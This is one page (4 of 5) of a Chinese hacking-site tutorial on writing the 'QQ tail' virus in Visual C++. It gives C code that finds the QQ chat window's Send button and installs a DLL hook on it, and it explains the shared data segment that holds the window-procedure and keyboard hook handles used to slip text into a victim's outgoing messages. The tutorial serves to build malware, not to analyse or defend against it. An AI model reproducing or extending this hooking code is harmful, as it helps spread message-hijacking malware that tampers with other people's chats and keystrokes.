QQ空间代码网Www.Wtto.Net

投递文章 投稿指南 QQ空间代码网:
搜索: 您的位置QQ空间代码网>QQ宝典>QQ黑客>阅读资讯:QQ尾巴病毒的Visual C++实现探讨

QQ尾巴病毒的Visual C++实现探讨

05-16   来源:互联网   作者:大力哥   【 评论:0收藏到QQ书签 添加到百度搜藏 添加到百度搜藏

  DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:

// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦HWND hSend;g_hQQ = NULL;SetHook(NULL);do{ g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL); hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");} while(g_hQQ != NULL && hSend == NULL);if (g_hQQ != NULL)SetHook(g_hQQ);

  这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。

  DLL的共享数据段

  如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:

// 定义共享数据段#pragma data_seg("shared")HHOOK g_hProc = NULL; // 窗口过程钩子句柄HHOOK g_hKey = NULL; // 键盘钩子句柄HWND g_hRich = NULL; // 文本框句柄#pragma data_seg()#pragma comment(linker, "/section:shared,rws")

  这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?

  是的,添加尾巴失败!


共5页: 上一页 [1] [2] [3] 4 [5] 下一页
Tags:实现 探讨 病毒 这个 // NULL 消息 发送 DLL  
责任编辑:
  • 请文明参与讨论,禁止漫骂攻击。 用户名:新注册) 密码: 匿名:
    评论总数:0 [ 查看全部 ] 网友评论